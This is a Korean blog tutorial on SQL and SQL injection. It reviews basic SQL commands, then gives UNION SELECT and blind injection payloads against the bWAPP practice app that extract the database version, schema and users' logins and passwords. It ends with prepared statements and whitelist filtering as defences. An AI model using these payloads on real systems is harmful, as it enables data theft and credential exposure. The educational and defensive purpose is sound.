본문 바로가기

S-DEV/웹 해킹 보안과 공격

SQL Injection

728x90

• DB(데이터베이스)

데이터베이스는 구조화된 데이터의 조직화된 모음으로 컴퓨터 시스템에 전자적으로 저장되며 DBMS에 의해 제어된 데이터는 일련의 테이블에서 행과 열로 구성되고 SQL은 대부분의 데이터베이스에서 데이터 작성 및 쿼리에 사용된다.

 

• SQL의 개념

SQL은 관계형 데이터베이스에서 사용되는 '구조적 질의 언어'로 데이터베이스의 구조와 데이터를 조작하는 데 사용된다.

 

- DDL(Data Definiton Language)

CREATE, ALTER, DROP

- DML(Data Manipulation Language)

SELECT, INSERT, UPDATE, DELETE

-DCL(Data Control Language)

GRANT, REVOKE

-TCL(Transaction Control Language)

COMMIT, ROLLBACK

 

- CREATE TABLE

테이블 생성 명령어 => CREATE TABLE table_name(Column_name type,...)

 

- ALTER TABLE

특정 데이블을 수정하는 명령어(ADD, MODIFY, DROP)  => ALTER TABLE table_name ADD column_name type

 

- DROP TABLE

특정 테이블을 삭제하는 명령어 => DROP TABLE table_name

 

- UPDATE

특정 테이블에서 원하는 값을 수정하는 명령어 => UPDATE table_name SET Column_name = Value WHERE Condition

 

- INSERT / DELETE

특정 테이블에 원하는 값을 추가/삭제하는 명령어 => INSERT INTO table_name(Column_name,..) VALUES(Value,...)

                                                                               => DELETE FROM table_name WHERE Condition

 

- UNION

두 개의 SELECT 결과를 합치는 명령어(중복되는 결과는 하나만 표시됨) 

=> SELECT Column_name FROM table_name UNION SELECT Column_name FROM table_name

 

- Subquery

하나의 SQL 문에 포함시킬 수 있는 또 다른 SQL

=> SELECT Column_name FROM table_name WHERE Condition (SELECT Column_name FROM table_name (WHERE Condition))

 

- ORDER BY

SELECT 결과를 오름차순/내림차순으로 정렬해 주는 명령어

=> SELECT Column_name FROM table_name (WHERE Condition) ORDER BY Column_name (ASC/DESC)

 

- MIN / MAX / COUNT / SUM / AVG 

최소 / 최대 / 개수 / 합을 반환해 주는 함수 => SELECT MIN/MAX/COUNT/SUM/AVG(Column_name) FROM table_name

 

- AND / OR / NOT 

조건문 부분에서 사용할 수 있는 논리 연산 => SELECT Column_name FROM table_name WHERE Condition AND/OR/NOT Condition

 

- IF

조건에 따라 값을 반환해 주는 함수 => SELECT IF(Condition, Value_if_TRUE, Value_if_FALSE)

 

 

• SQL Injection 

악의적인 SQL 쿼리를 삽입하여 데이터베이스를 비롯한 백엔드 시스템을 공격하는 기법이다. 이를 통해 데이터 유출, 데이터 변조, 시스템 마비 등의 피해가 발생할 수 있다.

이러한 공격을 막기 위해 입력 값 검증, 준비된 문자 사용, 저수준 API 사용 등의 방어 메커니즘을 적용하는 것이 중요하다.

 

- UNION SELECT SQL 

UNION SELECT를 사용하기 위해서는 앞쪽 SELECT문의 컬럼 수와 일치 시켜야 한다.

> 버전 정보, DB 이름 출력

' union select 1,@@version,database(),4,5,6,7#

 

> DB의 테이블 정보 출력

' union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema='bWAPP'#

 

> 테이블 칼럼 정보 출력

' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users'#

 

> users 테이블의 id, password 정보 출력

' union select 1,login,password,4,5,6,7 from users#

 

- Blind SQL

입력한 쿼리문에 대한 에러 정보가 제대로 출력되지 않을 때 사용하는 방식이며, 참 / 거짓을 바탕으로 원하는 정보를 추출해 낼 수 있다.

> DB 이름 길이 출력

' or 1=1 and length(database()) = 숫자#

 

• Secure Coding

- Preared Statement 

쿼리문을 사전에 정의하고 사용자 입력 값을 바인드 변수로 받아 처리하며, 바인드 변수로 들어온 값들은 쿼리문으로 인식하지 않아 SQL Injection을 방지할 수 있다.

- Whitelist 필터링

지정된 문자열을 제외한 값이 들어오면 필터링, 이와 반대로 지정된 문자열이 들어오면 Blacklist 필터링을 한다.

*Blacklist 필터링의 경우 개발자의 실수나 우회 기법등을 통해 SQL Injection이 발생할 수 있다.

 

 

'S-DEV > 웹 해킹 보안과 공격' 카테고리의 다른 글

Command Injection  (0) 2023.07.22
XSS(Cross-Site Scripting)  (0) 2023.07.22
웹 해킹이란?  (0) 2023.07.21